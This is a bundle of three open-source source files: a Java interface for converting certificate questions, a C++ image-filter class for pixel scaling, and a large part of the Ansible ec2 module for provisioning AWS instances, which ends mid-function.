* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
package se.inera.intyg.webcert.web.service.facade.question.util;
import java.util.List;
import se.inera.intyg.common.support.facade.model.metadata.CertificateRelation;
import se.inera.intyg.common.support.facade.model.question.Complement;
import se.inera.intyg.common.support.facade.model.question.Question;
import se.inera.intyg.webcert.persistence.arende.model.Arende;
import se.inera.intyg.webcert.persistence.arende.model.ArendeDraft;
public interface QuestionConverter {
Question convert(ArendeDraft arendeDraft);
Question convert(Arende arende);
Question convert(Arende arende, Complement[] complements, CertificateRelation answeredByCertificate);
Question convert(Arende arende, Complement[] complements, CertificateRelation answeredByCertificate, List<Arende> reminders);
Question convert(Arende arende, Complement[] complements, CertificateRelation answeredByCertificate, Arende answer,
List<Arende> reminders);
Question convert(Arende arende, Complement[] complements, CertificateRelation answeredByCertificate, ArendeDraft answerDraft,
List<Arende> reminders);
}
| gpl-3.0 |
marcoc2/dpixel | Filters/Filter.cpp | 4073 | #include "Filter.h"
#if defined(__linux__) || defined(_WIN32)
#include <omp.h>
#endif
Filter::Filter( Image* inputImage, Image* outputImage ) :
_inputImage( inputImage ),
_outputImage( outputImage )
{
}
Filter::Filter( Image* inputImage, float scaleFactor ) :
_inputImage( inputImage ),
_scaleFactor( scaleFactor )
{
_outputImage = new Image( _inputImage->getWidth() * scaleFactor,
_inputImage->getHeight() * scaleFactor );
}
Filter::Filter( Image* inputImage, float scaleFactor, int numberOfPasses ) :
QThread(),
_inputImage( inputImage ),
_scaleFactor( scaleFactor * numberOfPasses )
{
// Multipass filter need to create the _outputImage
}
Filter::Filter( Image* inputImage, int outputWidth, int outputHeight ) :
_inputImage( inputImage )
{
_outputImage = new Image( outputWidth,
outputHeight );
_scaleFactor = ( float ) _outputImage->getWidth() / ( float) _inputImage->getWidth();
}
Filter::Filter( Image* inputImage ) :
_inputImage( inputImage ),
_outputImage( 0 )
{
}
Filter::~Filter()
{
delete _outputImage;
}
Image* Filter::getOutputImage()
{
return _outputImage;
}
void Filter::fillBufferBGRA( u_char* inputBuffer )
{
u_int width = _inputImage->getWidth();
u_int height = _inputImage->getHeight();
for( u_int w = 0; w < width; w++ )
{
for( u_int h = 0; h < height; h++ )
{
QRgb pixel = _inputImage->getQImage()->pixel( w, h );
inputBuffer[ ( h * width * 4 ) + ( w * 4 ) + 2 ] = ( u_char ) qRed( pixel );
inputBuffer[ ( h * width * 4 ) + ( w * 4 ) + 1 ] = ( u_char ) qGreen( pixel );
inputBuffer[ ( h * width * 4 ) + ( w * 4 ) + 0 ] = ( u_char ) qBlue( pixel );
inputBuffer[ ( h * width * 4 ) + ( w * 4 ) + 3 ] = ( u_char ) qAlpha( pixel );
}
}
}
void Filter::fillImageBGRA( u_char* outputBuffer )
{
u_int width = _outputImage->getWidth();
u_int height = _outputImage->getHeight();
for( u_int w = 0; w < width; w++ )
{
for( u_int h = 0; h < height; h++ )
{
QRgb pixelRGB = qRgb(
( int ) outputBuffer[ ( h * width * 4 ) + ( w * 4 ) + 2 ],
( int ) outputBuffer[ ( h * width * 4 ) + ( w * 4 ) + 1 ],
( int ) outputBuffer[ ( h * width * 4 ) + ( w * 4 ) + 0 ] );
_outputImage->getQImage()->setPixel( w, h, pixelRGB );
}
}
}
void Filter::fillBufferRGB( u_char* inputBuffer )
{
u_int width = _inputImage->getWidth();
u_int height = _inputImage->getHeight();
#pragma omp parallel for
for( u_int w = 0; w < width; w++ )
{
for( u_int h = 0; h < height; h++ )
{
QRgb pixel = _inputImage->getQImage()->pixel( w, h );
inputBuffer[ ( h * width * 4 ) + ( w * 4 ) + 0 ] = ( u_char ) qRed( pixel );
inputBuffer[ ( h * width * 4 ) + ( w * 4 ) + 1 ] = ( u_char ) qGreen( pixel );
inputBuffer[ ( h * width * 4 ) + ( w * 4 ) + 2 ] = ( u_char ) qBlue( pixel );
inputBuffer[ ( h * width * 4 ) + ( w * 4 ) + 3 ] = ( u_char ) qAlpha( pixel );
}
}
}
void Filter::fillImageRGB( u_char* outputBuffer )
{
u_int width = _outputImage->getWidth();
u_int height = _outputImage->getHeight();
#pragma omp for
for( u_int w = 0; w < width; w++ )
{
for( u_int h = 0; h < height; h++ )
{
QRgb pixelRGB = qRgb(
( int ) outputBuffer[ ( h * width * 4 ) + ( w * 4 ) + 0 ],
( int ) outputBuffer[ ( h * width * 4 ) + ( w * 4 ) + 1 ],
( int ) outputBuffer[ ( h * width * 4 ) + ( w * 4 ) + 2 ] );
_outputImage->getQImage()->setPixel( w, h, pixelRGB );
}
}
}
int Filter::getScaleFactor()
{
return _scaleFactor;
}
std::string Filter::getName()
{
return _name;
}
void Filter::setNewInputImage( Image* image )
{
_inputImage = image;
}
void Filter::run()
{
apply();
//emit resultReady();
}
| gpl-3.0 |
onitake/ansible | lib/ansible/modules/cloud/amazon/ec2.py | 64623 | #!/usr/bin/python
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible. If not, see <http://www.gnu.org/licenses/>.
ANSIBLE_METADATA = {'metadata_version': '1.1',
'status': ['stableinterface'],
'supported_by': 'core'}
DOCUMENTATION = '''
---
module: ec2
short_description: create, terminate, start or stop an instance in ec2
description:
- Creates or terminates ec2 instances.
version_added: "0.9"
options:
key_name:
description:
- key pair to use on the instance
aliases: ['keypair']
id:
version_added: "1.1"
description:
- identifier for this instance or set of instances, so that the module will be idempotent with respect to EC2 instances.
This identifier is valid for at least 24 hours after the termination of the instance, and should not be reused for another call later on.
For details, see the description of client token at U(https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Run_Instance_Idempotency.html).
group:
description:
- security group (or list of groups) to use with the instance.
aliases: [ 'groups' ]
group_id:
version_added: "1.1"
description:
- security group id (or list of ids) to use with the instance.
region:
version_added: "1.2"
description:
- The AWS region to use. Must be specified if ec2_url is not used.
If not specified then the value of the EC2_REGION environment variable, if any, is used.
See U(https://docs.aws.amazon.com/general/latest/gr/rande.html#ec2_region).
aliases: [ 'aws_region', 'ec2_region' ]
zone:
version_added: "1.2"
description:
- AWS availability zone in which to launch the instance.
aliases: [ 'aws_zone', 'ec2_zone' ]
instance_type:
description:
- instance type to use for the instance, see U(https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html).
required: true
tenancy:
version_added: "1.9"
description:
- An instance with a tenancy of "dedicated" runs on single-tenant hardware and can only be launched into a VPC.
Note that to use dedicated tenancy you MUST specify a vpc_subnet_id as well. Dedicated tenancy is not available for EC2 "micro" instances.
default: default
choices: [ "default", "dedicated" ]
spot_price:
version_added: "1.5"
description:
- Maximum spot price to bid, If not set a regular on-demand instance is requested. A spot request is made with this maximum bid.
When it is filled, the instance is started.
spot_type:
version_added: "2.0"
description:
- Type of spot request; one of "one-time" or "persistent". Defaults to "one-time" if not supplied.
default: "one-time"
choices: [ "one-time", "persistent" ]
image:
description:
- I(ami) ID to use for the instance.
required: true
kernel:
description:
- kernel I(eki) to use for the instance.
ramdisk:
description:
- ramdisk I(eri) to use for the instance.
wait:
description:
- wait for the instance to reach its desired state before returning. Does not wait for SSH, see 'wait_for_connection' example for details.
type: bool
default: 'no'
wait_timeout:
description:
- how long before wait gives up, in seconds.
default: 300
spot_wait_timeout:
version_added: "1.5"
description:
- how long to wait for the spot instance request to be fulfilled.
default: 600
count:
description:
- number of instances to launch.
default: 1
monitoring:
version_added: "1.1"
description:
- enable detailed monitoring (CloudWatch) for instance.
type: bool
default: 'no'
user_data:
version_added: "0.9"
description:
- opaque blob of data which is made available to the ec2 instance.
instance_tags:
version_added: "1.0"
description:
- a hash/dictionary of tags to add to the new instance or for starting/stopping instance by tag; '{"key":"value"}' and '{"key":"value","key":"value"}'.
placement_group:
version_added: "1.3"
description:
- placement group for the instance when using EC2 Clustered Compute.
vpc_subnet_id:
version_added: "1.1"
description:
- the subnet ID in which to launch the instance (VPC).
assign_public_ip:
version_added: "1.5"
description:
- when provisioning within vpc, assign a public IP address. Boto library must be 2.13.0+.
type: bool
private_ip:
version_added: "1.2"
description:
- the private ip address to assign the instance (from the vpc subnet).
instance_profile_name:
version_added: "1.3"
description:
- Name of the IAM instance profile (i.e. what the EC2 console refers to as an "IAM Role") to use. Boto library must be 2.5.0+.
instance_ids:
version_added: "1.3"
description:
- "list of instance ids, currently used for states: absent, running, stopped"
aliases: ['instance_id']
source_dest_check:
version_added: "1.6"
description:
- Enable or Disable the Source/Destination checks (for NAT instances and Virtual Routers).
When initially creating an instance the EC2 API defaults this to True.
type: bool
termination_protection:
version_added: "2.0"
description:
- Enable or Disable the Termination Protection.
type: bool
default: 'no'
instance_initiated_shutdown_behavior:
version_added: "2.2"
description:
- Set whether AWS will Stop or Terminate an instance on shutdown. This parameter is ignored when using instance-store.
images (which require termination on shutdown).
default: 'stop'
choices: [ "stop", "terminate" ]
state:
version_added: "1.3"
description:
- create, terminate, start, stop or restart instances.
The state 'restarted' was added in 2.2
required: false
default: 'present'
choices: ['present', 'absent', 'running', 'restarted', 'stopped']
volumes:
version_added: "1.5"
description:
- a list of hash/dictionaries of volumes to add to the new instance; '[{"key":"value", "key":"value"}]'; keys allowed
are - device_name (str; required), delete_on_termination (bool; False), device_type (deprecated), ephemeral (str),
encrypted (bool; False), snapshot (str), volume_type (str), volume_size (int, GB), iops (int) - device_type
is deprecated use volume_type, iops must be set when volume_type='io1', ephemeral and snapshot are mutually exclusive.
ebs_optimized:
version_added: "1.6"
description:
- whether instance is using optimized EBS volumes, see U(https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSOptimized.html).
default: 'no'
exact_count:
version_added: "1.5"
description:
- An integer value which indicates how many instances that match the 'count_tag' parameter should be running.
Instances are either created or terminated based on this value.
count_tag:
version_added: "1.5"
description:
- Used with 'exact_count' to determine how many nodes based on a specific tag criteria should be running.
This can be expressed in multiple ways and is shown in the EXAMPLES section. For instance, one can request 25 servers
that are tagged with "class=webserver". The specified tag must already exist or be passed in as the 'instance_tags' option.
network_interfaces:
version_added: "2.0"
description:
- A list of existing network interfaces to attach to the instance at launch. When specifying existing network interfaces,
none of the assign_public_ip, private_ip, vpc_subnet_id, group, or group_id parameters may be used. (Those parameters are
for creating a new network interface at launch.)
aliases: ['network_interface']
spot_launch_group:
version_added: "2.1"
description:
- Launch group for spot request, see U(https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/how-spot-instances-work.html#spot-launch-group).
author:
- "Tim Gerla (@tgerla)"
- "Lester Wade (@lwade)"
- "Seth Vidal (@skvidal)"
extends_documentation_fragment: aws
'''
EXAMPLES = '''
# Note: These examples do not set authentication details, see the AWS Guide for details.
# Basic provisioning example
- ec2:
key_name: mykey
instance_type: t2.micro
image: ami-123456
wait: yes
group: webserver
count: 3
vpc_subnet_id: subnet-29e63245
assign_public_ip: yes
# Advanced example with tagging and CloudWatch
- ec2:
key_name: mykey
group: databases
instance_type: t2.micro
image: ami-123456
wait: yes
wait_timeout: 500
count: 5
instance_tags:
db: postgres
monitoring: yes
vpc_subnet_id: subnet-29e63245
assign_public_ip: yes
# Single instance with additional IOPS volume from snapshot and volume delete on termination
- ec2:
key_name: mykey
group: webserver
instance_type: c3.medium
image: ami-123456
wait: yes
wait_timeout: 500
volumes:
- device_name: /dev/sdb
snapshot: snap-abcdef12
volume_type: io1
iops: 1000
volume_size: 100
delete_on_termination: true
monitoring: yes
vpc_subnet_id: subnet-29e63245
assign_public_ip: yes
# Single instance with ssd gp2 root volume
- ec2:
key_name: mykey
group: webserver
instance_type: c3.medium
image: ami-123456
wait: yes
wait_timeout: 500
volumes:
- device_name: /dev/xvda
volume_type: gp2
volume_size: 8
vpc_subnet_id: subnet-29e63245
assign_public_ip: yes
count_tag:
Name: dbserver
exact_count: 1
# Multiple groups example
- ec2:
key_name: mykey
group: ['databases', 'internal-services', 'sshable', 'and-so-forth']
instance_type: m1.large
image: ami-6e649707
wait: yes
wait_timeout: 500
count: 5
instance_tags:
db: postgres
monitoring: yes
vpc_subnet_id: subnet-29e63245
assign_public_ip: yes
# Multiple instances with additional volume from snapshot
- ec2:
key_name: mykey
group: webserver
instance_type: m1.large
image: ami-6e649707
wait: yes
wait_timeout: 500
count: 5
volumes:
- device_name: /dev/sdb
snapshot: snap-abcdef12
volume_size: 10
monitoring: yes
vpc_subnet_id: subnet-29e63245
assign_public_ip: yes
# Dedicated tenancy example
- local_action:
module: ec2
assign_public_ip: yes
group_id: sg-1dc53f72
key_name: mykey
image: ami-6e649707
instance_type: m1.small
tenancy: dedicated
vpc_subnet_id: subnet-29e63245
wait: yes
# Spot instance example
- ec2:
spot_price: 0.24
spot_wait_timeout: 600
keypair: mykey
group_id: sg-1dc53f72
instance_type: m1.small
image: ami-6e649707
wait: yes
vpc_subnet_id: subnet-29e63245
assign_public_ip: yes
spot_launch_group: report_generators
# Examples using pre-existing network interfaces
- ec2:
key_name: mykey
instance_type: t2.small
image: ami-f005ba11
network_interface: eni-deadbeef
- ec2:
key_name: mykey
instance_type: t2.small
image: ami-f005ba11
network_interfaces: ['eni-deadbeef', 'eni-5ca1ab1e']
# Launch instances, runs some tasks
# and then terminate them
- name: Create a sandbox instance
hosts: localhost
gather_facts: False
vars:
keypair: my_keypair
instance_type: m1.small
security_group: my_securitygroup
image: my_ami_id
region: us-east-1
tasks:
- name: Launch instance
ec2:
key_name: "{{ keypair }}"
group: "{{ security_group }}"
instance_type: "{{ instance_type }}"
image: "{{ image }}"
wait: true
region: "{{ region }}"
vpc_subnet_id: subnet-29e63245
assign_public_ip: yes
register: ec2
- name: Add new instance to host group
add_host:
hostname: "{{ item.public_ip }}"
groupname: launched
loop: "{{ ec2.instances }}"
- name: Wait for SSH to come up
delegate_to: "{{ item.public_dns_name }}"
wait_for_connection:
delay: 60
timeout: 320
loop: "{{ ec2.instances }}"
- name: Configure instance(s)
hosts: launched
become: True
gather_facts: True
roles:
- my_awesome_role
- my_awesome_test
- name: Terminate instances
hosts: localhost
connection: local
tasks:
- name: Terminate instances that were previously launched
ec2:
state: 'absent'
instance_ids: '{{ ec2.instance_ids }}'
# Start a few existing instances, run some tasks
# and stop the instances
- name: Start sandbox instances
hosts: localhost
gather_facts: false
connection: local
vars:
instance_ids:
- 'i-xxxxxx'
- 'i-xxxxxx'
- 'i-xxxxxx'
region: us-east-1
tasks:
- name: Start the sandbox instances
ec2:
instance_ids: '{{ instance_ids }}'
region: '{{ region }}'
state: running
wait: True
vpc_subnet_id: subnet-29e63245
assign_public_ip: yes
roles:
- do_neat_stuff
- do_more_neat_stuff
- name: Stop sandbox instances
hosts: localhost
gather_facts: false
connection: local
vars:
instance_ids:
- 'i-xxxxxx'
- 'i-xxxxxx'
- 'i-xxxxxx'
region: us-east-1
tasks:
- name: Stop the sandbox instances
ec2:
instance_ids: '{{ instance_ids }}'
region: '{{ region }}'
state: stopped
wait: True
vpc_subnet_id: subnet-29e63245
assign_public_ip: yes
#
# Start stopped instances specified by tag
#
- local_action:
module: ec2
instance_tags:
Name: ExtraPower
state: running
#
# Restart instances specified by tag
#
- local_action:
module: ec2
instance_tags:
Name: ExtraPower
state: restarted
#
# Enforce that 5 instances with a tag "foo" are running
# (Highly recommended!)
#
- ec2:
key_name: mykey
instance_type: c1.medium
image: ami-40603AD1
wait: yes
group: webserver
instance_tags:
foo: bar
exact_count: 5
count_tag: foo
vpc_subnet_id: subnet-29e63245
assign_public_ip: yes
#
# Enforce that 5 running instances named "database" with a "dbtype" of "postgres"
#
- ec2:
key_name: mykey
instance_type: c1.medium
image: ami-40603AD1
wait: yes
group: webserver
instance_tags:
Name: database
dbtype: postgres
exact_count: 5
count_tag:
Name: database
dbtype: postgres
vpc_subnet_id: subnet-29e63245
assign_public_ip: yes
#
# count_tag complex argument examples
#
# instances with tag foo
- ec2:
count_tag:
foo:
# instances with tag foo=bar
- ec2:
count_tag:
foo: bar
# instances with tags foo=bar & baz
- ec2:
count_tag:
foo: bar
baz:
# instances with tags foo & bar & baz=bang
- ec2:
count_tag:
- foo
- bar
- baz: bang
'''
import time
import traceback
from ast import literal_eval
from distutils.version import LooseVersion
from ansible.module_utils.basic import AnsibleModule
from ansible.module_utils.ec2 import get_aws_connection_info, ec2_argument_spec, ec2_connect
from ansible.module_utils.six import get_function_code, string_types
from ansible.module_utils._text import to_bytes, to_text
try:
import boto.ec2
from boto.ec2.blockdevicemapping import BlockDeviceType, BlockDeviceMapping
from boto.exception import EC2ResponseError
from boto import connect_ec2_endpoint
from boto import connect_vpc
HAS_BOTO = True
except ImportError:
HAS_BOTO = False
def find_running_instances_by_count_tag(module, ec2, vpc, count_tag, zone=None):
# get reservations for instances that match tag(s) and are in the desired state
state = module.params.get('state')
if state not in ['running', 'stopped']:
state = None
reservations = get_reservations(module, ec2, vpc, tags=count_tag, state=state, zone=zone)
instances = []
for res in reservations:
if hasattr(res, 'instances'):
for inst in res.instances:
if inst.state == 'terminated':
continue
instances.append(inst)
return reservations, instances
def _set_none_to_blank(dictionary):
result = dictionary
for k in result:
if isinstance(result[k], dict):
result[k] = _set_none_to_blank(result[k])
elif not result[k]:
result[k] = ""
return result
def get_reservations(module, ec2, vpc, tags=None, state=None, zone=None):
# TODO: filters do not work with tags that have underscores
filters = dict()
vpc_subnet_id = module.params.get('vpc_subnet_id')
vpc_id = None
if vpc_subnet_id:
filters.update({"subnet-id": vpc_subnet_id})
if vpc:
vpc_id = vpc.get_all_subnets(subnet_ids=[vpc_subnet_id])[0].vpc_id
if vpc_id:
filters.update({"vpc-id": vpc_id})
if tags is not None:
if isinstance(tags, str):
try:
tags = literal_eval(tags)
except:
pass
# if not a string type, convert and make sure it's a text string
if isinstance(tags, int):
tags = to_text(tags)
# if string, we only care that a tag of that name exists
if isinstance(tags, str):
filters.update({"tag-key": tags})
# if list, append each item to filters
if isinstance(tags, list):
for x in tags:
if isinstance(x, dict):
x = _set_none_to_blank(x)
filters.update(dict(("tag:" + tn, tv) for (tn, tv) in x.items()))
else:
filters.update({"tag-key": x})
# if dict, add the key and value to the filter
if isinstance(tags, dict):
tags = _set_none_to_blank(tags)
filters.update(dict(("tag:" + tn, tv) for (tn, tv) in tags.items()))
# lets check to see if the filters dict is empty, if so then stop
if not filters:
module.fail_json(msg="Filters based on tag is empty => tags: %s" % (tags))
if state:
# http://stackoverflow.com/questions/437511/what-are-the-valid-instancestates-for-the-amazon-ec2-api
filters.update({'instance-state-name': state})
if zone:
filters.update({'availability-zone': zone})
if module.params.get('id'):
filters['client-token'] = module.params['id']
results = ec2.get_all_instances(filters=filters)
return results
def get_instance_info(inst):
"""
Retrieves instance information from an instance
ID and returns it as a dictionary
"""
instance_info = {'id': inst.id,
'ami_launch_index': inst.ami_launch_index,
'private_ip': inst.private_ip_address,
'private_dns_name': inst.private_dns_name,
'public_ip': inst.ip_address,
'dns_name': inst.dns_name,
'public_dns_name': inst.public_dns_name,
'state_code': inst.state_code,
'architecture': inst.architecture,
'image_id': inst.image_id,
'key_name': inst.key_name,
'placement': inst.placement,
'region': inst.placement[:-1],
'kernel': inst.kernel,
'ramdisk': inst.ramdisk,
'launch_time': inst.launch_time,
'instance_type': inst.instance_type,
'root_device_type': inst.root_device_type,
'root_device_name': inst.root_device_name,
'state': inst.state,
'hypervisor': inst.hypervisor,
'tags': inst.tags,
'groups': dict((group.id, group.name) for group in inst.groups),
}
try:
instance_info['virtualization_type'] = getattr(inst, 'virtualization_type')
except AttributeError:
instance_info['virtualization_type'] = None
try:
instance_info['ebs_optimized'] = getattr(inst, 'ebs_optimized')
except AttributeError:
instance_info['ebs_optimized'] = False
try:
bdm_dict = {}
bdm = getattr(inst, 'block_device_mapping')
for device_name in bdm.keys():
bdm_dict[device_name] = {
'status': bdm[device_name].status,
'volume_id': bdm[device_name].volume_id,
'delete_on_termination': bdm[device_name].delete_on_termination
}
instance_info['block_device_mapping'] = bdm_dict
except AttributeError:
instance_info['block_device_mapping'] = False
try:
instance_info['tenancy'] = getattr(inst, 'placement_tenancy')
except AttributeError:
instance_info['tenancy'] = 'default'
return instance_info
def boto_supports_associate_public_ip_address(ec2):
"""
Check if Boto library has associate_public_ip_address in the NetworkInterfaceSpecification
class. Added in Boto 2.13.0
ec2: authenticated ec2 connection object
Returns:
True if Boto library accepts associate_public_ip_address argument, else false
"""
try:
network_interface = boto.ec2.networkinterface.NetworkInterfaceSpecification()
getattr(network_interface, "associate_public_ip_address")
return True
except AttributeError:
return False
def boto_supports_profile_name_arg(ec2):
"""
Check if Boto library has instance_profile_name argument. instance_profile_name has been added in Boto 2.5.0
ec2: authenticated ec2 connection object
Returns:
True if Boto library accept instance_profile_name argument, else false
"""
run_instances_method = getattr(ec2, 'run_instances')
return 'instance_profile_name' in get_function_code(run_instances_method).co_varnames
def boto_supports_volume_encryption():
"""
Check if Boto library supports encryption of EBS volumes (added in 2.29.0)
Returns:
True if boto library has the named param as an argument on the request_spot_instances method, else False
"""
return hasattr(boto, 'Version') and LooseVersion(boto.Version) >= LooseVersion('2.29.0')
def create_block_device(module, ec2, volume):
# Not aware of a way to determine this programatically
# http://aws.amazon.com/about-aws/whats-new/2013/10/09/ebs-provisioned-iops-maximum-iops-gb-ratio-increased-to-30-1/
MAX_IOPS_TO_SIZE_RATIO = 30
# device_type has been used historically to represent volume_type,
# however ec2_vol uses volume_type, as does the BlockDeviceType, so
# we add handling for either/or but not both
if all(key in volume for key in ['device_type', 'volume_type']):
module.fail_json(msg='device_type is a deprecated name for volume_type. Do not use both device_type and volume_type')
if 'device_type' in volume:
module.deprecate('device_type is deprecated for block devices - use volume_type instead',
version=2.9)
# get whichever one is set, or NoneType if neither are set
volume_type = volume.get('device_type') or volume.get('volume_type')
if 'snapshot' not in volume and 'ephemeral' not in volume:
if 'volume_size' not in volume:
module.fail_json(msg='Size must be specified when creating a new volume or modifying the root volume')
if 'snapshot' in volume:
if volume_type == 'io1' and 'iops' not in volume:
module.fail_json(msg='io1 volumes must have an iops value set')
if 'iops' in volume:
snapshot = ec2.get_all_snapshots(snapshot_ids=[volume['snapshot']])[0]
size = volume.get('volume_size', snapshot.volume_size)
if int(volume['iops']) > MAX_IOPS_TO_SIZE_RATIO * size:
module.fail_json(msg='IOPS must be at most %d times greater than size' % MAX_IOPS_TO_SIZE_RATIO)
if 'encrypted' in volume:
module.fail_json(msg='You can not set encryption when creating a volume from a snapshot')
if 'ephemeral' in volume:
if 'snapshot' in volume:
module.fail_json(msg='Cannot set both ephemeral and snapshot')
if boto_supports_volume_encryption():
return BlockDeviceType(snapshot_id=volume.get('snapshot'),
ephemeral_name=volume.get('ephemeral'),
size=volume.get('volume_size'),
volume_type=volume_type,
delete_on_termination=volume.get('delete_on_termination', False),
iops=volume.get('iops'),
encrypted=volume.get('encrypted', None))
else:
return BlockDeviceType(snapshot_id=volume.get('snapshot'),
ephemeral_name=volume.get('ephemeral'),
size=volume.get('volume_size'),
volume_type=volume_type,
delete_on_termination=volume.get('delete_on_termination', False),
iops=volume.get('iops'))
def boto_supports_param_in_spot_request(ec2, param):
"""
Check if Boto library has a <param> in its request_spot_instances() method. For example, the placement_group parameter wasn't added until 2.3.0.
ec2: authenticated ec2 connection object
Returns:
True if boto library has the named param as an argument on the request_spot_instances method, else False
"""
method = getattr(ec2, 'request_spot_instances')
return param in get_function_code(method).co_varnames
def await_spot_requests(module, ec2, spot_requests, count):
"""
Wait for a group of spot requests to be fulfilled, or fail.
module: Ansible module object
ec2: authenticated ec2 connection object
spot_requests: boto.ec2.spotinstancerequest.SpotInstanceRequest object returned by ec2.request_spot_instances
count: Total number of instances to be created by the spot requests
Returns:
list of instance ID's created by the spot request(s)
"""
spot_wait_timeout = int(module.params.get('spot_wait_timeout'))
wait_complete = time.time() + spot_wait_timeout
spot_req_inst_ids = dict()
while time.time() < wait_complete:
reqs = ec2.get_all_spot_instance_requests()
for sirb in spot_requests:
if sirb.id in spot_req_inst_ids:
continue
for sir in reqs:
if sir.id != sirb.id:
continue # this is not our spot instance
if sir.instance_id is not None:
spot_req_inst_ids[sirb.id] = sir.instance_id
elif sir.state == 'open':
continue # still waiting, nothing to do here
elif sir.state == 'active':
continue # Instance is created already, nothing to do here
elif sir.state == 'failed':
module.fail_json(msg="Spot instance request %s failed with status %s and fault %s:%s" % (
sir.id, sir.status.code, sir.fault.code, sir.fault.message))
elif sir.state == 'cancelled':
module.fail_json(msg="Spot instance request %s was cancelled before it could be fulfilled." % sir.id)
elif sir.state == 'closed':
# instance is terminating or marked for termination
# this may be intentional on the part of the operator,
# or it may have been terminated by AWS due to capacity,
# price, or group constraints in this case, we'll fail
# the module if the reason for the state is anything
# other than termination by user. Codes are documented at
# https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/spot-bid-status.html
if sir.status.code == 'instance-terminated-by-user':
# do nothing, since the user likely did this on purpose
pass
else:
spot_msg = "Spot instance request %s was closed by AWS with the status %s and fault %s:%s"
module.fail_json(msg=spot_msg % (sir.id, sir.status.code, sir.fault.code, sir.fault.message))
if len(spot_req_inst_ids) < count:
time.sleep(5)
else:
return list(spot_req_inst_ids.values())
module.fail_json(msg="wait for spot requests timeout on %s" % time.asctime())
def enforce_count(module, ec2, vpc):
exact_count = module.params.get('exact_count')
count_tag = module.params.get('count_tag')
zone = module.params.get('zone')
# fail here if the exact count was specified without filtering
# on a tag, as this may lead to a undesired removal of instances
if exact_count and count_tag is None:
module.fail_json(msg="you must use the 'count_tag' option with exact_count")
reservations, instances = find_running_instances_by_count_tag(module, ec2, vpc, count_tag, zone)
changed = None
checkmode = False
instance_dict_array = []
changed_instance_ids = None
if len(instances) == exact_count:
changed = False
elif len(instances) < exact_count:
changed = True
to_create = exact_count - len(instances)
if not checkmode:
(instance_dict_array, changed_instance_ids, changed) \
= create_instances(module, ec2, vpc, override_count=to_create)
for inst in instance_dict_array:
instances.append(inst)
elif len(instances) > exact_count:
changed = True
to_remove = len(instances) - exact_count
if not checkmode:
all_instance_ids = sorted([x.id for x in instances])
remove_ids = all_instance_ids[0:to_remove]
instances = [x for x in instances if x.id not in remove_ids]
(changed, instance_dict_array, changed_instance_ids) \
= terminate_instances(module, ec2, remove_ids)
terminated_list = []
for inst in instance_dict_array:
inst['state'] = "terminated"
terminated_list.append(inst)
instance_dict_array = terminated_list
# ensure all instances are dictionaries
all_instances = []
for inst in instances:
if not isinstance(inst, dict):
warn_if_public_ip_assignment_changed(module, inst)
inst = get_instance_info(inst)
all_instances.append(inst)
return (all_instances, instance_dict_array, changed_instance_ids, changed)
def create_instances(module, ec2, vpc, override_count=None):
"""
Creates new instances
module : AnsibleModule object
ec2: authenticated ec2 connection object
Returns:
A list of dictionaries with instance information
about the instances that were launched
"""
key_name = module.params.get('key_name')
id = module.params.get('id')
group_name = module.params.get('group')
group_id = module.params.get('group_id')
zone = module.params.get('zone')
instance_type = module.params.get('instance_type')
tenancy = module.params.get('tenancy')
spot_price = module.params.get('spot_price')
spot_type = module.params.get('spot_type')
image = module.params.get('image')
if override_count:
count = override_count
else:
count = module.params.get('count')
monitoring = module.params.get('monitoring')
kernel = module.params.get('kernel')
ramdisk = module.params.get('ramdisk')
wait = module.params.get('wait')
wait_timeout = int(module.params.get('wait_timeout'))
spot_wait_timeout = int(module.params.get('spot_wait_timeout'))
placement_group = module.params.get('placement_group')
user_data = module.params.get('user_data')
instance_tags = module.params.get('instance_tags')
vpc_subnet_id = module.params.get('vpc_subnet_id')
assign_public_ip = module.boolean(module.params.get('assign_public_ip'))
private_ip = module.params.get('private_ip')
instance_profile_name = module.params.get('instance_profile_name')
volumes = module.params.get('volumes')
ebs_optimized = module.params.get('ebs_optimized')
exact_count = module.params.get('exact_count')
count_tag = module.params.get('count_tag')
source_dest_check = module.boolean(module.params.get('source_dest_check'))
termination_protection = module.boolean(module.params.get('termination_protection'))
network_interfaces = module.params.get('network_interfaces')
spot_launch_group = module.params.get('spot_launch_group')
instance_initiated_shutdown_behavior = module.params.get('instance_initiated_shutdown_behavior')
vpc_id = None
if vpc_subnet_id:
if not vpc:
module.fail_json(msg="region must be specified")
else:
vpc_id = vpc.get_all_subnets(subnet_ids=[vpc_subnet_id])[0].vpc_id
else:
vpc_id = None
try:
# Here we try to lookup the group id from the security group name - if group is set.
if group_name:
if vpc_id:
grp_details = ec2.get_all_security_groups(filters={'vpc_id': vpc_id})
else:
grp_details = ec2.get_all_security_groups()
if isinstance(group_name, string_types):
group_name = [group_name]
unmatched = set(group_name).difference(str(grp.name) for grp in grp_details)
if len(unmatched) > 0:
module.fail_json(msg="The following group names are not valid: %s" % ', '.join(unmatched))
group_id = [str(grp.id) for grp in grp_details if str(grp.name) in group_name]
# Now we try to lookup the group id testing if group exists.
elif group_id:
# wrap the group_id in a list if it's not one already
if isinstance(group_id, string_types):
group_id = [group_id]
grp_details = ec2.get_all_security_groups(group_ids=group_id)
group_name = [grp_item.name for grp_item in grp_details]
except boto.exception.NoAuthHandlerFound as e:
module.fail_json(msg=str(e))
# Lookup any instances that much our run id.
running_instances = []
count_remaining = int(count)
if id is not None:
filter_dict = {'client-token': id, 'instance-state-name': 'running'}
previous_reservations = ec2.get_all_instances(None, filter_dict)
for res in previous_reservations:
for prev_instance in res.instances:
running_instances.append(prev_instance)
count_remaining = count_remaining - len(running_instances)
# Both min_count and max_count equal count parameter. This means the launch request is explicit (we want count, or fail) in how many instances we want.
